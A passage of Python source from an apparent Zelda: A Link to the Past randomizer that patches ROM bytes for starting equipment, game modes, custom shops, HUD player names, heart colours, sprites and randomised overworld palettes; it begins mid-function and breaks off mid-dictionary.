write_int32(rom, 0x180200, -2 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, (40 + ERtimeincrease) * 60 * 60) # starting time (in frames, sint32)
# set up goals for treasure hunt
rom.write_bytes(0x180165, [0x0E, 0x28] if world.treasure_hunt_icon[player] == 'Triforce Piece' else [0x0D, 0x28])
rom.write_byte(0x180167, world.treasure_hunt_count[player] % 256)
rom.write_byte(0x180194, 1) # Must turn in triforced pieces (instant win not enabled)
rom.write_bytes(0x180213, [0x00, 0x01]) # Not a Tournament Seed
gametype = 0x04 # item
if world.shuffle[player] != 'vanilla':
gametype |= 0x02 # entrance
if enemized:
gametype |= 0x01 # enemizer
rom.write_byte(0x180211, gametype) # Game type
# assorted fixes
rom.write_byte(0x1800A2, 0x01) # remain in real dark world when dying in dark world dungeon before killing aga1
rom.write_byte(0x180169, 0x01 if world.lock_aga_door_in_escape else 0x00) # Lock or unlock aga tower door during escape sequence.
if world.mode[player] == 'inverted':
rom.write_byte(0x180169, 0x02) # lock aga/ganon tower door with crystals in inverted
rom.write_byte(0x180171, 0x01 if world.ganon_at_pyramid[player] else 0x00) # Enable respawning on pyramid after ganon death
rom.write_byte(0x180173, 0x01) # Bob is enabled
rom.write_byte(0x180168, 0x08) # Spike Cave Damage
rom.write_bytes(0x18016B, [0x04, 0x02, 0x01]) #Set spike cave and MM spike room Cape usage
rom.write_bytes(0x18016E, [0x04, 0x08, 0x10]) #Set spike cave and MM spike room Cape usage
rom.write_bytes(0x50563, [0x3F, 0x14]) # disable below ganon chest
rom.write_byte(0x50599, 0x00) # disable below ganon chest
rom.write_bytes(0xE9A5, [0x7E, 0x00, 0x24]) # disable below ganon chest
rom.write_byte(0x18008B, 0x01 if world.open_pyramid[player] else 0x00) # pre-open Pyramid Hole
rom.write_byte(0x18008C, 0x01 if world.crystals_needed_for_gt[player] == 0 else 0x00) # GT pre-opened if crystal requirement is 0
rom.write_byte(0xF5D73, 0xF0) # bees are catchable
rom.write_byte(0xF5F10, 0xF0) # bees are catchable
rom.write_byte(0x180086, 0x00 if world.aga_randomness else 0x01) # set blue ball and ganon warp randomness
rom.write_byte(0x1800A0, 0x01) # return to light world on s+q without mirror
rom.write_byte(0x1800A1, 0x01) # enable overworld screen transition draining for water level inside swamp
rom.write_byte(0x180174, 0x01 if world.fix_fake_world[player] else 0x00)
rom.write_byte(0x18017E, 0x01) # Fairy fountains only trade in bottles
# Starting equipment
equip = [0] * (0x340 + 0x4F)
equip[0x36C] = 0x18
equip[0x36D] = 0x18
equip[0x379] = 0x68
starting_max_bombs = 10
starting_max_arrows = 30
startingstate = CollectionState(world)
if startingstate.has('Bow', player):
equip[0x340] = 1
equip[0x38E] |= 0x20 # progressive flag to get the correct hint in all cases
if not world.retro[player]:
equip[0x38E] |= 0x80
if startingstate.has('Silver Arrows', player):
equip[0x38E] |= 0x40
if startingstate.has('Titans Mitts', player):
equip[0x354] = 2
elif startingstate.has('Power Glove', player):
equip[0x354] = 1
if startingstate.has('Golden Sword', player):
equip[0x359] = 4
elif startingstate.has('Tempered Sword', player):
equip[0x359] = 3
elif startingstate.has('Master Sword', player):
equip[0x359] = 2
elif startingstate.has('Fighter Sword', player):
equip[0x359] = 1
if startingstate.has('Mirror Shield', player):
equip[0x35A] = 3
elif startingstate.has('Red Shield', player):
equip[0x35A] = 2
elif startingstate.has('Blue Shield', player):
equip[0x35A] = 1
if startingstate.has('Red Mail', player):
equip[0x35B] = 2
elif startingstate.has('Blue Mail', player):
equip[0x35B] = 1
if startingstate.has('Magic Upgrade (1/4)', player):
equip[0x37B] = 2
equip[0x36E] = 0x80
elif startingstate.has('Magic Upgrade (1/2)', player):
equip[0x37B] = 1
equip[0x36E] = 0x80
for item in world.precollected_items:
if item.player != player:
continue
if item.name in ['Bow', 'Silver Arrows', 'Progressive Bow', 'Progressive Bow (Alt)',
'Titans Mitts', 'Power Glove', 'Progressive Glove',
'Golden Sword', 'Tempered Sword', 'Master Sword', 'Fighter Sword', 'Progressive Sword',
'Mirror Shield', 'Red Shield', 'Blue Shield', 'Progressive Shield',
'Red Mail', 'Blue Mail', 'Progressive Armor',
'Magic Upgrade (1/4)', 'Magic Upgrade (1/2)']:
continue
set_table = {'Book of Mudora': (0x34E, 1), 'Hammer': (0x34B, 1), 'Bug Catching Net': (0x34D, 1), 'Hookshot': (0x342, 1), 'Magic Mirror': (0x353, 2),
'Cape': (0x352, 1), 'Lamp': (0x34A, 1), 'Moon Pearl': (0x357, 1), 'Cane of Somaria': (0x350, 1), 'Cane of Byrna': (0x351, 1),
'Fire Rod': (0x345, 1), 'Ice Rod': (0x346, 1), 'Bombos': (0x347, 1), 'Ether': (0x348, 1), 'Quake': (0x349, 1)}
or_table = {'Green Pendant': (0x374, 0x04), 'Red Pendant': (0x374, 0x01), 'Blue Pendant': (0x374, 0x02),
'Crystal 1': (0x37A, 0x02), 'Crystal 2': (0x37A, 0x10), 'Crystal 3': (0x37A, 0x40), 'Crystal 4': (0x37A, 0x20),
'Crystal 5': (0x37A, 0x04), 'Crystal 6': (0x37A, 0x01), 'Crystal 7': (0x37A, 0x08),
'Big Key (Eastern Palace)': (0x367, 0x20), 'Compass (Eastern Palace)': (0x365, 0x20), 'Map (Eastern Palace)': (0x369, 0x20),
'Big Key (Desert Palace)': (0x367, 0x10), 'Compass (Desert Palace)': (0x365, 0x10), 'Map (Desert Palace)': (0x369, 0x10),
'Big Key (Tower of Hera)': (0x366, 0x20), 'Compass (Tower of Hera)': (0x364, 0x20), 'Map (Tower of Hera)': (0x368, 0x20),
'Big Key (Escape)': (0x367, 0xC0), 'Compass (Escape)': (0x365, 0xC0), 'Map (Escape)': (0x369, 0xC0),
'Big Key (Palace of Darkness)': (0x367, 0x02), 'Compass (Palace of Darkness)': (0x365, 0x02), 'Map (Palace of Darkness)': (0x369, 0x02),
'Big Key (Thieves Town)': (0x366, 0x10), 'Compass (Thieves Town)': (0x364, 0x10), 'Map (Thieves Town)': (0x368, 0x10),
'Big Key (Skull Woods)': (0x366, 0x80), 'Compass (Skull Woods)': (0x364, 0x80), 'Map (Skull Woods)': (0x368, 0x80),
'Big Key (Swamp Palace)': (0x367, 0x04), 'Compass (Swamp Palace)': (0x365, 0x04), 'Map (Swamp Palace)': (0x369, 0x04),
'Big Key (Ice Palace)': (0x366, 0x40), 'Compass (Ice Palace)': (0x364, 0x40), 'Map (Ice Palace)': (0x368, 0x40),
'Big Key (Misery Mire)': (0x367, 0x01), 'Compass (Misery Mire)': (0x365, 0x01), 'Map (Misery Mire)': (0x369, 0x01),
'Big Key (Turtle Rock)': (0x366, 0x08), 'Compass (Turtle Rock)': (0x364, 0x08), 'Map (Turtle Rock)': (0x368, 0x08),
'Big Key (Ganons Tower)': (0x366, 0x04), 'Compass (Ganons Tower)': (0x364, 0x04), 'Map (Ganons Tower)': (0x368, 0x04)}
set_or_table = {'Flippers': (0x356, 1, 0x379, 0x02),'Pegasus Boots': (0x355, 1, 0x379, 0x04),
'Shovel': (0x34C, 1, 0x38C, 0x04), 'Flute': (0x34C, 3, 0x38C, 0x01),
'Mushroom': (0x344, 1, 0x38C, 0x20 | 0x08), 'Magic Powder': (0x344, 2, 0x38C, 0x10),
'Blue Boomerang': (0x341, 1, 0x38C, 0x80), 'Red Boomerang': (0x341, 2, 0x38C, 0x40)}
keys = {'Small Key (Eastern Palace)': [0x37E], 'Small Key (Desert Palace)': [0x37F],
'Small Key (Tower of Hera)': [0x386],
'Small Key (Agahnims Tower)': [0x380], 'Small Key (Palace of Darkness)': [0x382],
'Small Key (Thieves Town)': [0x387],
'Small Key (Skull Woods)': [0x384], 'Small Key (Swamp Palace)': [0x381],
'Small Key (Ice Palace)': [0x385],
'Small Key (Misery Mire)': [0x383], 'Small Key (Turtle Rock)': [0x388],
'Small Key (Ganons Tower)': [0x389],
'Small Key (Universal)': [0x38B], 'Small Key (Escape)': [0x37C, 0x37D]}
bottles = {'Bottle': 2, 'Bottle (Red Potion)': 3, 'Bottle (Green Potion)': 4, 'Bottle (Blue Potion)': 5,
'Bottle (Fairy)': 6, 'Bottle (Bee)': 7, 'Bottle (Good Bee)': 8}
rupees = {'Rupee (1)': 1, 'Rupees (5)': 5, 'Rupees (20)': 20, 'Rupees (50)': 50, 'Rupees (100)': 100, 'Rupees (300)': 300}
bomb_caps = {'Bomb Upgrade (+5)': 5, 'Bomb Upgrade (+10)': 10}
arrow_caps = {'Arrow Upgrade (+5)': 5, 'Arrow Upgrade (+10)': 10}
bombs = {'Single Bomb': 1, 'Bombs (3)': 3, 'Bombs (10)': 10}
arrows = {'Single Arrow': 1, 'Arrows (10)': 10}
if item.name in set_table:
equip[set_table[item.name][0]] = set_table[item.name][1]
elif item.name in or_table:
equip[or_table[item.name][0]] |= or_table[item.name][1]
elif item.name in set_or_table:
equip[set_or_table[item.name][0]] = set_or_table[item.name][1]
equip[set_or_table[item.name][2]] |= set_or_table[item.name][3]
elif item.name in keys:
for address in keys[item.name]:
equip[address] = min(equip[address] + 1, 99)
elif item.name in bottles:
if equip[0x34F] < world.difficulty_requirements[player].progressive_bottle_limit:
equip[0x35C + equip[0x34F]] = bottles[item.name]
equip[0x34F] += 1
elif item.name in rupees:
equip[0x360:0x362] = list(min(equip[0x360] + (equip[0x361] << 8) + rupees[item.name], 9999).to_bytes(2, byteorder='little', signed=False))
equip[0x362:0x364] = list(min(equip[0x362] + (equip[0x363] << 8) + rupees[item.name], 9999).to_bytes(2, byteorder='little', signed=False))
elif item.name in bomb_caps:
starting_max_bombs = min(starting_max_bombs + bomb_caps[item.name], 50)
elif item.name in arrow_caps:
starting_max_arrows = min(starting_max_arrows + arrow_caps[item.name], 70)
elif item.name in bombs:
equip[0x343] += bombs[item.name]
elif item.name in arrows:
if world.retro[player]:
equip[0x38E] |= 0x80
equip[0x377] = 1
else:
equip[0x377] += arrows[item.name]
elif item.name in ['Piece of Heart', 'Boss Heart Container', 'Sanctuary Heart Container']:
if item.name == 'Piece of Heart':
equip[0x36B] = (equip[0x36B] + 1) % 4
if item.name != 'Piece of Heart' or equip[0x36B] == 0:
equip[0x36C] = min(equip[0x36C] + 0x08, 0xA0)
equip[0x36D] = min(equip[0x36D] + 0x08, 0xA0)
else:
raise RuntimeError(f'Unsupported item in starting equipment: {item.name}')
equip[0x343] = min(equip[0x343], starting_max_bombs)
rom.write_byte(0x180034, starting_max_bombs)
equip[0x377] = min(equip[0x377], starting_max_arrows)
rom.write_byte(0x180035, starting_max_arrows)
rom.write_bytes(0x180046, equip[0x360:0x362])
if equip[0x359]:
rom.write_byte(0x180043, equip[0x359])
assert equip[:0x340] == [0] * 0x340
rom.write_bytes(0x183000, equip[0x340:])
rom.write_bytes(0x271A6, equip[0x340:0x340+60])
rom.write_byte(0x18004A, 0x00 if world.mode[player] != 'inverted' else 0x01) # Inverted mode
rom.write_byte(0x18005D, 0x00) # Hammer always breaks barrier
rom.write_byte(0x2AF79, 0xD0 if world.mode[player] != 'inverted' else 0xF0) # vortexes: Normal (D0=light to dark, F0=dark to light, 42 = both)
rom.write_byte(0x3A943, 0xD0 if world.mode[player] != 'inverted' else 0xF0) # Mirror: Normal (D0=Dark to Light, F0=light to dark, 42 = both)
rom.write_byte(0x3A96D, 0xF0 if world.mode[player] != 'inverted' else 0xD0) # Residual Portal: Normal (F0= Light Side, D0=Dark Side, 42 = both (Darth Vader))
rom.write_byte(0x3A9A7, 0xD0) # Residual Portal: Normal (D0= Light Side, F0=Dark Side, 42 = both (Darth Vader))
rom.write_bytes(0x180080, [50, 50, 70, 70]) # values to fill for Capacity Upgrades (Bomb5, Bomb10, Arrow5, Arrow10)
rom.write_byte(0x18004D, ((0x01 if 'arrows' in world.escape_assist[player] else 0x00) |
(0x02 if 'bombs' in world.escape_assist[player] else 0x00) |
(0x04 if 'magic' in world.escape_assist[player] else 0x00))) # Escape assist
if world.goal[player] in ['pedestal', 'triforcehunt']:
rom.write_byte(0x18003E, 0x01) # make ganon invincible
elif world.goal[player] in ['dungeons']:
rom.write_byte(0x18003E, 0x02) # make ganon invincible until all dungeons are beat
elif world.goal[player] in ['crystals']:
rom.write_byte(0x18003E, 0x04) # make ganon invincible until all crystals
else:
rom.write_byte(0x18003E, 0x03) # make ganon invincible until all crystals and aga 2 are collected
rom.write_byte(0x18005E, world.crystals_needed_for_gt[player])
rom.write_byte(0x18005F, world.crystals_needed_for_ganon[player])
# block HC upstairs doors in rain state in standard mode
rom.write_byte(0x18008A, 0x01 if world.mode[player] == "standard" and world.shuffle[player] != 'vanilla' else 0x00)
rom.write_byte(0x18016A, 0x10 | ((0x01 if world.keyshuffle[player] else 0x00)
| (0x02 if world.compassshuffle[player] else 0x00)
| (0x04 if world.mapshuffle[player] else 0x00)
| (0x08 if world.bigkeyshuffle[player] else 0x00))) # free roaming item text boxes
rom.write_byte(0x18003B, 0x01 if world.mapshuffle[player] else 0x00) # maps showing crystals on overworld
# compasses showing dungeon count
if world.clock_mode[player]:
rom.write_byte(0x18003C, 0x00) # Currently must be off if timer is on, because they use same HUD location
elif world.compassshuffle[player]:
rom.write_byte(0x18003C, 0x01) # show on pickup
else:
rom.write_byte(0x18003C, 0x00)
rom.write_byte(0x180045, ((0x01 if world.keyshuffle[player] else 0x00)
| (0x02 if world.bigkeyshuffle[player] else 0x00)
| (0x04 if world.compassshuffle[player] else 0x00)
| (0x08 if world.mapshuffle[player] else 0x00))) # free roaming items in menu
# Map reveals
reveal_bytes = {
"Eastern Palace": 0x2000,
"Desert Palace": 0x1000,
"Tower of Hera": 0x0020,
"Palace of Darkness": 0x0200,
"Thieves Town": 0x0010,
"Skull Woods": 0x0080,
"Swamp Palace": 0x0400,
"Ice Palace": 0x0040,
"Misery Mire'": 0x0100,
"Turtle Rock": 0x0008,
}
def get_reveal_bytes(itemName):
locations = world.find_items(itemName, player)
if len(locations) < 1:
return 0x0000
location = locations[0]
if location.parent_region and location.parent_region.dungeon:
return reveal_bytes.get(location.parent_region.dungeon.name, 0x0000)
return 0x0000
write_int16(rom, 0x18017A, get_reveal_bytes('Green Pendant') if world.mapshuffle[player] else 0x0000) # Sahasrahla reveal
write_int16(rom, 0x18017C, get_reveal_bytes('Crystal 5')|get_reveal_bytes('Crystal 6') if world.mapshuffle[player] else 0x0000) # Bomb Shop Reveal
rom.write_byte(0x180172, 0x01 if world.retro[player] else 0x00) # universal keys
rom.write_byte(0x180175, 0x01 if world.retro[player] else 0x00) # rupee bow
rom.write_byte(0x180176, 0x0A if world.retro[player] else 0x00) # wood arrow cost
rom.write_byte(0x180178, 0x32 if world.retro[player] else 0x00) # silver arrow cost
rom.write_byte(0x301FC, 0xDA if world.retro[player] else 0xE1) # rupees replace arrows under pots
rom.write_byte(0x30052, 0xDB if world.retro[player] else 0xE2) # replace arrows in fish prize from bottle merchant
rom.write_bytes(0xECB4E, [0xA9, 0x00, 0xEA, 0xEA] if world.retro[player] else [0xAF, 0x77, 0xF3, 0x7E]) # Thief steals rupees instead of arrows
rom.write_bytes(0xF0D96, [0xA9, 0x00, 0xEA, 0xEA] if world.retro[player] else [0xAF, 0x77, 0xF3, 0x7E]) # Pikit steals rupees instead of arrows
rom.write_bytes(0xEDA5, [0x35, 0x41] if world.retro[player] else [0x43, 0x44]) # Chest game gives rupees instead of arrows
digging_game_rng = random.randint(1, 30) # set rng for digging game
rom.write_byte(0x180020, digging_game_rng)
rom.write_byte(0xEFD95, digging_game_rng)
rom.write_byte(0x1800A3, 0x01) # enable correct world setting behaviour after agahnim kills
rom.write_byte(0x1800A4, 0x01 if world.logic[player] != 'nologic' else 0x00) # enable POD EG fix
rom.write_byte(0x180042, 0x01 if world.save_and_quit_from_boss else 0x00) # Allow Save and Quit after boss kill
# remove shield from uncle
rom.write_bytes(0x6D253, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D25B, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D283, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D28B, [0x00, 0x00, 0xf7, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D2CB, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2FB, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D313, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
rom.write_byte(0x18004E, 0) # Escape Fill (nothing)
write_int16(rom, 0x180183, 300) # Escape fill rupee bow
rom.write_bytes(0x180185, [0,0,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,0,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,0,0]) # Mantle respawn refills (magic, bombs, arrows)
if world.mode[player] == 'standard':
if uncle_location.item is not None and uncle_location.item.name in ['Bow', 'Progressive Bow']:
rom.write_byte(0x18004E, 1) # Escape Fill (arrows)
write_int16(rom, 0x180183, 300) # Escape fill rupee bow
rom.write_bytes(0x180185, [0,0,70]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,0,10]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,0,10]) # Mantle respawn refills (magic, bombs, arrows)
elif uncle_location.item is not None and uncle_location.item.name in ['Bombs (10)']:
rom.write_byte(0x18004E, 2) # Escape Fill (bombs)
rom.write_bytes(0x180185, [0,50,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,3,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,3,0]) # Mantle respawn refills (magic, bombs, arrows)
elif uncle_location.item is not None and uncle_location.item.name in ['Cane of Somaria', 'Cane of Byrna', 'Fire Rod']:
rom.write_byte(0x18004E, 4) # Escape Fill (magic)
rom.write_bytes(0x180185, [0x80,0,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0x20,0,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0x20,0,0]) # Mantle respawn refills (magic, bombs, arrows)
# patch swamp: Need to enable permanent drain of water as dam or swamp were moved
rom.write_byte(0x18003D, 0x01 if world.swamp_patch_required[player] else 0x00)
# powder patch: remove the need to leave the screen after powder, since it causes problems for potion shop at race game
# temporarally we are just nopping out this check we will conver this to a rom fix soon.
rom.write_bytes(0x02F539, [0xEA, 0xEA, 0xEA, 0xEA, 0xEA] if world.powder_patch_required[player] else [0xAD, 0xBF, 0x0A, 0xF0, 0x4F])
# allow smith into multi-entrance caves in appropriate shuffles
if world.shuffle[player] in ['restricted', 'full', 'crossed', 'insanity']:
rom.write_byte(0x18004C, 0x01)
# set correct flag for hera basement item
hera_basement = world.get_location('Tower of Hera - Basement Cage', player)
if hera_basement.item is not None and hera_basement.item.name == 'Small Key (Tower of Hera)' and hera_basement.item.player == player:
rom.write_byte(0x4E3BB, 0xE4)
else:
rom.write_byte(0x4E3BB, 0xEB)
# fix trock doors for reverse entrances
if world.fix_trock_doors[player]:
rom.write_byte(0xFED31, 0x0E) # preopen bombable exit
rom.write_byte(0xFEE41, 0x0E) # preopen bombable exit
# included unconditionally in base2current
#rom.write_byte(0xFE465, 0x1E) # remove small key door on backside of big key door
else:
rom.write_byte(0xFED31, 0x2A) # preopen bombable exit
rom.write_byte(0xFEE41, 0x2A) # preopen bombable exit
write_strings(rom, world, player, team)
rom.write_byte(0x18636C, 1 if world.remote_items[player] else 0)
# set rom name
# 21 bytes
from Main import __version__
rom.name = bytearray(f'ER{__version__.split("-")[0].replace(".","")[0:3]}_{team+1}_{player}_{world.seed:09}\0', 'utf8')[:21]
rom.name.extend([0] * (21 - len(rom.name)))
rom.write_bytes(0x7FC0, rom.name)
# set player names
for p in range(1, min(world.players, 64) + 1):
rom.write_bytes(0x186380 + ((p - 1) * 32), hud_format_text(world.player_names[p][team]))
# Write title screen Code
hashint = int(rom.get_hash(), 16)
code = [
(hashint >> 20) & 0x1F,
(hashint >> 15) & 0x1F,
(hashint >> 10) & 0x1F,
(hashint >> 5) & 0x1F,
hashint & 0x1F,
]
rom.write_bytes(0x180215, code)
rom.hash = code
return rom
try:
import RaceRom
except ImportError:
RaceRom = None
def patch_race_rom(rom):
rom.write_bytes(0x180213, [0x01, 0x00]) # Tournament Seed
if 'RaceRom' in sys.modules:
RaceRom.encrypt(rom)
def write_custom_shops(rom, world, player):
shops = [shop for shop in world.shops if shop.custom and shop.region.player == player]
shop_data = bytearray()
items_data = bytearray()
sram_offset = 0
for shop_id, shop in enumerate(shops):
if shop_id == len(shops) - 1:
shop_id = 0xFF
bytes = shop.get_bytes()
bytes[0] = shop_id
bytes[-1] = sram_offset
if shop.type == ShopType.TakeAny:
sram_offset += 1
else:
sram_offset += shop.item_count
shop_data.extend(bytes)
# [id][item][price-low][price-high][max][repl_id][repl_price-low][repl_price-high]
for item in shop.inventory:
if item is None:
break
item_data = [shop_id, ItemFactory(item['item'], player).code] + int16_as_bytes(item['price']) + [item['max'], ItemFactory(item['replacement'], player).code if item['replacement'] else 0xFF] + int16_as_bytes(item['replacement_price'])
items_data.extend(item_data)
rom.write_bytes(0x184800, shop_data)
items_data.extend([0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF])
rom.write_bytes(0x184900, items_data)
def hud_format_text(text):
output = bytes()
for char in text.lower():
if 'a' <= char <= 'z':
output += bytes([0x5d + ord(char) - ord('a'), 0x29])
elif '0' <= char <= '8':
output += bytes([0x77 + ord(char) - ord('0'), 0x29])
elif char == '9':
output += b'\x4b\x29'
elif char == ' ':
output += b'\x7f\x00'
else:
output += b'\x2a\x29'
while len(output) < 32:
output += b'\x7f\x00'
return output[:32]
def apply_rom_settings(rom, beep, color, quickswap, fastmenu, disable_music, sprite, ow_palettes, uw_palettes):
if sprite and not isinstance(sprite, Sprite):
sprite = Sprite(sprite) if os.path.isfile(sprite) else get_sprite_from_name(sprite)
# enable instant item menu
if fastmenu == 'instant':
rom.write_byte(0x6DD9A, 0x20)
rom.write_byte(0x6DF2A, 0x20)
rom.write_byte(0x6E0E9, 0x20)
else:
rom.write_byte(0x6DD9A, 0x11)
rom.write_byte(0x6DF2A, 0x12)
rom.write_byte(0x6E0E9, 0x12)
if fastmenu == 'instant':
rom.write_byte(0x180048, 0xE8)
elif fastmenu == 'double':
rom.write_byte(0x180048, 0x10)
elif fastmenu == 'triple':
rom.write_byte(0x180048, 0x18)
elif fastmenu == 'quadruple':
rom.write_byte(0x180048, 0x20)
elif fastmenu == 'half':
rom.write_byte(0x180048, 0x04)
else:
rom.write_byte(0x180048, 0x08)
rom.write_byte(0x18004B, 0x01 if quickswap else 0x00)
rom.write_byte(0x0CFE18, 0x00 if disable_music else rom.orig_buffer[0x0CFE18] if rom.orig_buffer else 0x70)
rom.write_byte(0x0CFEC1, 0x00 if disable_music else rom.orig_buffer[0x0CFEC1] if rom.orig_buffer else 0xC0)
rom.write_bytes(0x0D0000, [0x00, 0x00] if disable_music else rom.orig_buffer[0x0D0000:0x0D0002] if rom.orig_buffer else [0xDA, 0x58])
rom.write_bytes(0x0D00E7, [0xC4, 0x58] if disable_music else rom.orig_buffer[0x0D00E7:0x0D00E9] if rom.orig_buffer else [0xDA, 0x58])
rom.write_byte(0x18021A, 1 if disable_music else 0x00)
# set heart beep rate
rom.write_byte(0x180033, {'off': 0x00, 'half': 0x40, 'quarter': 0x80, 'normal': 0x20, 'double': 0x10}[beep])
# set heart color
if color == 'random':
color = random.choice(['red', 'blue', 'green', 'yellow'])
rom.write_byte(0x6FA1E, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA20, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA22, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA24, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA26, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA28, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2A, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2C, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA2E, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA30, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x65561, {'red': 0x05, 'blue': 0x0D, 'green': 0x19, 'yellow': 0x09}[color])
# write link sprite if required
if sprite is not None:
write_sprite(rom, sprite)
default_ow_palettes(rom)
if ow_palettes == 'random':
randomize_ow_palettes(rom)
elif ow_palettes == 'blackout':
blackout_ow_palettes(rom)
default_uw_palettes(rom)
if uw_palettes == 'random':
randomize_uw_palettes(rom)
elif uw_palettes == 'blackout':
blackout_uw_palettes(rom)
if isinstance(rom, LocalRom):
rom.write_crc()
def write_sprite(rom, sprite):
if not sprite.valid:
return
rom.write_bytes(0x80000, sprite.sprite)
rom.write_bytes(0xDD308, sprite.palette)
rom.write_bytes(0xDEDF5, sprite.glove_palette)
def set_color(rom, address, color, shade):
r = round(min(color[0], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
g = round(min(color[1], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
b = round(min(color[2], 0xFF) * pow(0.8, shade) * 0x1F / 0xFF)
rom.write_bytes(address, ((b << 10) | (g << 5) | (r << 0)).to_bytes(2, byteorder='little', signed=False))
def default_ow_palettes(rom):
if not rom.orig_buffer:
return
rom.write_bytes(0xDE604, rom.orig_buffer[0xDE604:0xDEBB4])
for address in [0x067FB4, 0x067F94, 0x067FC6, 0x067FE6, 0x067FE1, 0x05FEA9, 0x05FEB3]:
rom.write_bytes(address, rom.orig_buffer[address:address+2])
def randomize_ow_palettes(rom):
grass, grass2, grass3, dirt, dirt2, water, clouds, dwdirt,\
dwgrass, dwwater, dwdmdirt, dwdmgrass, dwdmclouds1, dwdmclouds2 = [[random.randint(60, 215) for _ in range(3)] for _ in range(14)]
dwtree = [c + random.randint(-20, 10) for c in dwgrass]
treeleaf = [c + random.randint(-20, 10) for c in grass]
patches = {0x067FB4: (grass, 0), 0x067F94: (grass, 0), 0x067FC6: (grass, 0), 0x067FE6: (grass, 0), 0x067FE1: (grass, 3), 0x05FEA9: (grass, 0), 0x05FEB3: (dwgrass, 1),
0x0DD4AC: (grass, 2), 0x0DE6DE: (grass2, 2), 0x0DE6E0: (grass2, 1), 0x0DD4AE: (grass2, 1), 0x0DE9FA: (grass2, 1), 0x0DEA0E: (grass2, 1), 0x0DE9FE: (grass2, 0),
0x0DD3D2: (grass2, 2), 0x0DE88C: (grass2, 2), 0x0DE8A8: (grass2, 2), 0x0DE9F8: (grass2, 2), 0x0DEA4E: (grass2, 2), 0x0DEAF6: (grass2, 2), 0x0DEB2E: (grass2, 2), 0x0DEB4A: (grass2, 2),
0x0DE892: (grass, 1), 0x0DE886: (grass, 0), 0x0DE6D2: (grass, 0), 0x0DE6FA: (grass, 3), 0x0DE6FC: (grass, 0), 0x0DE6FE: (grass, 0), 0x0DE70A: (grass, 0), 0x0DE708: (grass, 2), 0x0DE70C: (grass, 1),
0x0DE6D4: (dirt, 2), 0x0DE6CA: (dirt, 5), 0x0DE6CC: (dirt, 4), 0x0DE6CE: (dirt, 3), 0x0DE6E2: (dirt, 2), 0x0DE6D8: (dirt, 5), 0x0DE6DA: (dirt, 4), 0x0DE6DC: (dirt, 2),
0x0DE6F0: (dirt, 2), 0x0DE6E6: (dirt, 5), 0x0DE6E8: (dirt, 4), 0x0DE6EA: (dirt, 2), 0x0DE6EC: (dirt, 4), 0x0DE6EE: (dirt, 2),
0x0DE91E: (grass, 0),
0x0DE920: (dirt, 2), 0x0DE916: (dirt, 3), 0x0DE934: (dirt, 3),
0x0DE92C: (grass, 0), 0x0DE93A: (grass, 0), 0x0DE91C: (grass, 1), 0x0DE92A: (grass, 1), 0x0DEA1C: (grass, 0), 0x0DEA2A: (grass, 0), 0x0DEA30: (grass, 0),
0x0DEA2E: (dirt, 5),
0x0DE884: (grass, 3), 0x0DE8AE: (grass, 3), 0x0DE8BE: (grass, 3), 0x0DE8E4: (grass, 3), 0x0DE938: (grass, 3), 0x0DE9C4: (grass, 3), 0x0DE6D0: (grass, 4),
0x0DE890: (treeleaf, 1), 0x0DE894: (treeleaf, 0),
0x0DE924: (water, 3), 0x0DE668: (water, 3), 0x0DE66A: (water, 2), 0x0DE670: (water, 1), 0x0DE918: (water, 1), 0x0DE66C: (water, 0), 0x0DE91A: (water, 0), 0x0DE92E: (water, 1), 0x0DEA1A: (water, 1), 0x0DEA16: (water, 3), 0x0DEA10: (water, 4),
0x0DE66E: (dirt, 3), 0x0DE672: (dirt, 2), 0x0DE932: (dirt, 4), 0x0DE936: (dirt, 2), 0x0DE93C: (dirt, 1),
